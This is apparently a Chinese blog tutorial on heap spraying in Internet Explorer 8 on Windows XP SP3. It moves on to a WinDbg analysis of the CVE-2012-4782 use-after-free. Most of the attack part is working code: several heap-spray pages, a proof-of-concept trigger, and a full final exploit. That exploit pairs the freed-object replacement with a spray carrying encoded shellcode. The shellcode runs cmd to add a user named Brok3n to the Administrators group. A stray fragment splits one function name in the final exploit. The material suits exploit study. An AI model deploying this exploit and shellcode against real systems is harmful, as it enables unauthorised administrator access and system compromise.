您的位置:首页 > 其它

从heap spray到CVE-2012-4782 (UAF)

2016-10-27 19:33 316 查看
第一部分:关于heap spray
首先在浏览器中(360、谷歌等)按F12,打开开发者模式:

 


 
在IE8+xpsp3中,打开1.html:

<html>
<body>
<script language='javascript'>

var myvar = "CORELAN!";

alert("allocation done");

</script>
</body>
</html>


windbg附加进程,搜索字符串“CORELAN!”:



查看字符串信息:



通过以上介绍我们可以发现字符串的length表示字符串的unicode的长度,也就是字符串.length=字符串的长度/2 一个字符串对象不仅包括字符串本身,还包括字符串前边的四个字节(表示字符串的大小)以及字符串后边的两个null字符(表示结束)。
理想的堆喷射是包括大量的nop指令(或者类nop指令,比如0x0c0c、0x1c1c等),后边跟shellcode。如下图所示:



当这么排列无限多时,无论EIP指向哪里,shellcode都有很大的概率得到执行。
用如下代码做实验:

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


注:在IE8下, testarray[counter] = all.substring(0,all.length);如果改成testarray[counter]=all 或者改成 testarray[counter] =tag+chunk或者改成 testarray[counter]=tag.substring(0,tag.length)+chunk.substring(0,chunk.length)可能会出错
 
字符串还要包括字符串前边的四个字节和后边的两个字节
testarray[counter]的实际长度是0x1000*2+4+2=8198 bytes
重复200次
这样分配的内存大约是: 8198*200=1639600bytes=1.56Mb
我们使用windbg附加进程查看内存情况,
 
在内存中搜索字符串:s -a 0x00000000 L?0x7fffffff"CORELAN!"



查看地址0x0358dd84所在的堆块地址及堆大小:!heap -p -a 0x0358dd84



可以看到0x0358dd84所在的堆的首地址是0x035722f8,堆块实际大小是0x3fff8,数据的起始地址是0x03572300
我们看一下大小为0x3fff8的堆一共有几块:!heap -stat -h 0x00150000



大小为0x3fff8的堆有8块
为了减少垃圾数据的影响,我们总是希望0x2000无限接近于0x3fff8,为了实现以上目标,我们继续增大内存块。
 
将chunksize = 0x1000修改为0x4000

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x4000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


 
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000



可以看到大小为0x8fc1的堆块分配了0xcc(204)次,这和我们的数据大小0x4000*2已经非常接近了,在统计学上讲,EIP指向0x90的概率大约是:(0x4000-0x4)*2/0x8fc1*100%
 
我们继续增大内存块的大小:
将chunksize = 0x1000修改为0x10000

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x10000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000



这样成功的概率已经无限大了,我们看一下分配的堆块是从什么地址到什么地址:

 




从0x041bb040到0x062a7001,利用heap spray我们总是希望能覆盖0x06060606 0x0c0c0c0c、0x1c1c1c1c等地址(why,等会再说),继续增大。。。
 
将chunksize = 0x1000修改为0xfffff
4000

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0xfffff;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000

 




这里每个堆块有0x200010大小
 
可以看到0x1c1c1c1c已经被覆盖到了

 


在每个堆块里边,是这样布局的,首先是shellcode,然后是nops指令,总大小是0x200000,我们做一下修改,里边增加一些shellcode+nops的循环,最终使内存块差不多大

<html>
<head>
<script>

function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5FC; //offset to 0x0c0c0c0c insideour 0x1000 hex block
Padding = '';
NopSlide = '';

var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');

for (p = 0; p < padding_size; p++){
Padding += unescape('%u1c1c%u1c1c');}

for (c = 0; c < block_size; c++){
NopSlide += unescape('%u1c1c%u1c1c');} //shellcode hou
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));

var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

var evil = new Array();
for (var k = 0; k < 400; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert(2);
</script>
</head>
<body>
</body>
</html>


在上述代码中,
for (p = 0; p < padding_size;p++){
Padding += unescape('%u1c1c%u1c1c');}


使Padding=为padding_size*4*0x1c

 

for (c = 0; c < block_size; c++){
NopSlide += unescape('%u1c1c%u1c1c');}
使NopSlide=block_size*4*0x1c

 NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));

var OBJECT = Padding + Shellcode + NopSlide;


上述两行代码使OBJECT的长度为block_size*2,OBJECT中的字符串按照%u1c1c%u1c1c.....shellcode....%u1c1c%u1c1c排列
alloc函数使字符串循环操作,最终使字符串OBJECT的长度为0xfffe0-6大小,加上字符串对象开头的四个字节和结尾的两个字节,OBJECT的长度正好是0xfffe0.

 






 

 
可以看到堆块刚好覆盖了0x06060606 0x070707070x0c0c0c0c 0x1c1c1c1c这些地址



为什么选择0x0c0c0c0c、0x1c1c1c1c这些地址呢
对UAF漏洞,一个对象的首地址中保存的是虚函数的虚表指针,当一个对象释放后,我们将这一块内存填充为0x0c0c0c0c....等,当这个释放后的对象再次被使用时,通过虚表指针查找虚函数表,这里虚表指针已经被0x0c0c0c0c填充,则虚函数表是从0x0c0c0c0c开始,比如调用调用虚函数表的第二个函数则是call [0x0c0c0c0c+4],内存地址0x0c0c0c10中保存的还是0x0c、0x0c等, 这些都是空操作指令,会一直执行下去,直到执行到我们的shellcode。
0x1c1c1c1c跟0x0c0c0c0c没有多大区别,只是内存地址越高,越稳定,垃圾数据越少。
 
下边以一个UAF漏洞CVE-2012-4782来说明问题
环境:在xpsp3+IE8中
POC.html:

<html>
<head>
<script>
functionhelloWorld()
{
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
alert(e1.parentNode);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
}
catch(e)
{ }
CollectGarbage();
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>


 首先启用hpa+ust,命令行切换到windbg安装目录下,gflags /i iexplore.exe +hpa +ust



再启用IE,windbg附加IE,g(注意先后顺序,应该是先设置hpa+ust,后启用IE),IE打开poc.html,触发异常:



可以看到edi其实是个对象,对象的首地址保存的是虚表指针,将虚函数表的首地址传到eax,在通过偏移调用虚函数,call dword ptr [eax+4*x],
可以看到edi已经被改动,导致edi不能访问

 


由于前边设置了用户栈回溯(ust),我们看一下对这个对象edi的操作记录:



可以看到,是 button 对象释放后重用造成了访问冲突。
接下来有三个问题,什么时候创建的对象button,什么时候释放的对象button,什么时候重新利用的对象button,对于第三个问题很容易回答就是在637848ae 8b07 mov eax,dword ptr [edi] ds:0023:18266fa8=????????重用了对象button。
既然涉及到对象的创建与释放,那就查看一下创建对象的类CButton有哪些成员函数:



根据函数名字,大概知道函数mshtml!CButton::CreateElement用于创建对象,函数mshtml!CButton::`vector deleting destructor' 用于释放对象,下边对这两个函数下断,
重新启动IE,windbg附加,bp *:



IE打开poc.html,IE果然在CreateElement函数断下:



可以看到函数CreateElement通过调用API函数heapalloc在堆上分配内存,看一下函数heapalloc的定义:
LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes,
);
可以看到在进程堆上分配了一个大小为0x58的内存,在0x639944f7下断,可以看到函数heapalloc的返回值是0x17812fa8



继续运行,断在mshtml!CButton::`vector deleting destructor' ,
查看mshtml!CButton::`vector deletingdestructor'的反汇编代码:



在函数heapFree上下断,运行,查看栈信息:



第三个参数是释放的内存块的首地址,跟上边创建的一样,其实这两处就是创建对象与释放对象的地方了,继续运行,就到了 button 对象重用的地方:



正好是创建对象的地址:0x17812fa8,这也正好验证了我们的猜测。
至于为什么创建、释放、再利用对象,就请详见参考资料吧
 
 
下边介绍一下利用方法:
创建的对象大小是0x58,button 对象既然被释放了,那么我们立刻申请同等大小的内存块覆盖,,当 button 重用的时候,就被欺骗去使用我们构造的数据了。
我们在申请的内存块中部署大量的0x0c、0x0c、0x0c、0x0c等,当对象中的虚函数被调用时,会首先在对象的首地址中保存虚表指针,此时虚表指针已经被0x0c0c0c0c填充,就会跳转到地址为0x0c0c0c0c的虚函数表中,此时虚函数表还是被0x0c0c0c0c填充,比如我们调用第二个虚函数,那么汇编代码为call dwordptr [eax+4*1],eax=0x0c0c0c0c,但是0x0c0c0c10还是被0x0c字符填充,这样最后0x0c字符得到执行,最终0x0c后边的shellcode得到执行。
 
首先我们申请一块大小是0x58的内存块

var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
for(var i = 0; i<0x1; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}


为什么要减6呢,因为字符串前边有四个字节表示字符串的大小,后边还有两个字节0x00表示结束,加起来来正好是0x58
这个地方循环一次跟100次结果都是一样的
最终的利用代码如下:

<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x1; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
alert(1);
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.su
b105
bstr(0, (bytes-6)/2);
}

block_size = 0x1000;
padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our0x1000 hex block
Padding = '';
NopSlide = '';

var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');

for (p = 0; p < padding_size; p++){
Padding += unescape('%u0c0c%u0c0c');}

for (c = 0; c < block_size; c++){
NopSlide += unescape('%u0c0c%u0c0c');} //shellcode hou
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));

var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

var evil = new Array();
for (var k = 0; k < 400; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert(2);
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>


shellcode是创建一个名为Brok3n的账号
执行之后,成功创建了账号:

 


边测试边参考边写的,肯定有很多不对的地方,欢迎多提意见

参考:

1.    【原创】CVE-2012-4782漏洞分析到EXP构造:http://bbs.pediy.com/showthread.php?t=206371
2.    【翻译】Windows Exploit开发系列教程第八部分:堆喷射第一节【覆写EIP】http://bbs.pediy.com/showthread.php?t=207158
3.    【翻译】Exploit 编写系列教程第十一篇:堆喷射技术揭秘(上)http://bbs.pediy.com/showthread.php?t=151381
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息